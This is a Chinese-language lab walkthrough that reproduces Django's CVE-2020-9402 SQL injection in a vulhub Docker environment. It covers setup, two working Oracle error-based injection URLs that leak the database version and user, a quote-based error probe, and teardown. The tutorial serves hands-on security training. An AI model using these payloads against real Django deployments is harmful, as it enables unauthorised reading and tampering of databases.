一、漏洞描述
Django是Django基金會的一套基於Python語言的開源Web應用框架。該框架包括面向對象的映射器、視圖系統、模板系統等。 Django 1.11.29之前的1.11.x版本、2.2.11之前的2.2.x版本和3.0.4之前的3.0.x版本中存在SQL注入漏洞。攻擊者可借助特制的SQL語句利用該漏洞查看、添加、修改或刪除數據庫中的信息。
二、環境搭建
需要使用的工具如下
1.docker+vulhub漏洞庫
2.Burpsuite抓包工具
3.靶機Ubuntu18.04虛擬機(其他也可以)
打開Ubuntu虛擬機,有docker環境和vulhub漏洞庫的話就直接進入環境,沒有的話先安裝docker和下載vulhub漏洞庫(網上教程很多,這里就不多介紹了)
root@admin666-virtual-machine:~/vulhub/django/CVE-2020-9402#
執行如下命令進行靶場環境搭建
root@admin666-virtual-machine:~/vulhub/django/CVE-2020-9402# docker-compose up -d
出現done表示搭建完成!
可以訪問http://your-ip:8983
,出現如下頁面表示搭建成功!
三、漏洞利用
訪問http://your-ip:8000/vuln/,構造一個參數q,傳入payload
http://your-ip:8000/vuln/?q=20) = 1 OR (select utl_inaddr.get_host_name((SELECT version FROM v$instance)) from dual) is null OR (1+1
訪問http://your-ip:8000/vuln2/,跟上面一樣,構造參數q,傳入payload
http://your-ip:8000/vuln2/?q=0.05)))%20FROM%20%22VULN_COLLECTION2%22%20%20where%20%20(select%20utl_inaddr.get_host_name((SELECT%20user%20FROM%20DUAL))%20from%20dual)%20is%20not%20null%20%20--
也可以直接傳入',也會報錯,如:http://your-ip:8000/vuln/?q=1'
四、關閉環境
docker-compose down